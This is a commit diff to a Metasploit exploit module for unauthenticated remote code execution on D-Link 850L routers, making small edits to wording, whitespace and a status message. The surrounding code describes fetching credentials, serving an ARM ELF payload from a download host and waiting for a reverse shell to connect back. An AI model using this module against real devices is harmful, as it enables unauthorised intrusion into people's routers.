add "check" & msftidy

modules/exploits/linux/http/dlink_850l_unauth_exec.rb

@@ -51,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Remote
         OptAddress.new('DOWNHOST', [ false, 'An alternative host to requst the ARMLE payload from' ]),
         OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),
         OptInt.new('HTTP_DELAY', [ true, 'Time that the HTTP Server will wait for the ELF payload request', 60]),
-        OptInt.new('CONNECTBACK_DELAY', [ true, 'Time to wait for shell to connect back to attacker', 10])
+        OptInt.new('CONNECTBACK_DELAY', [ true, 'Time to wait for shell to connect back to listener', 10])
       ])
   end
 
@@ -218,13 +218,11 @@ class MetasploitModule < Msf::Exploit::Remote
 
 
   def exploit
-    
     print_status("#{peer} - Connecting to target...")
 
     unless check == Exploit::CheckCode::Detected
       fail_with(Failure::Unknown, "#{peer} - Failed to access vulnerable url")
     end
-    
     #
     # Information Retrieval, obtains creds and logs in
     #
@@ -336,7 +334,7 @@ class MetasploitModule < Msf::Exploit::Remote
   # Waits for shell to connect back to us, otherwise server stops and nothing is returned
   #
   def wait_for_connect
-    print_status("#{peer} - Waiting for shell to connect back to us...")
+    print_status("#{peer} - Waiting #{datastore['CONNECTBACK_DELAY'].to_s} seconds for shell to connect back to us...")
     waited = 0
     while (@elf_sent)
       select(nil, nil, nil, 1)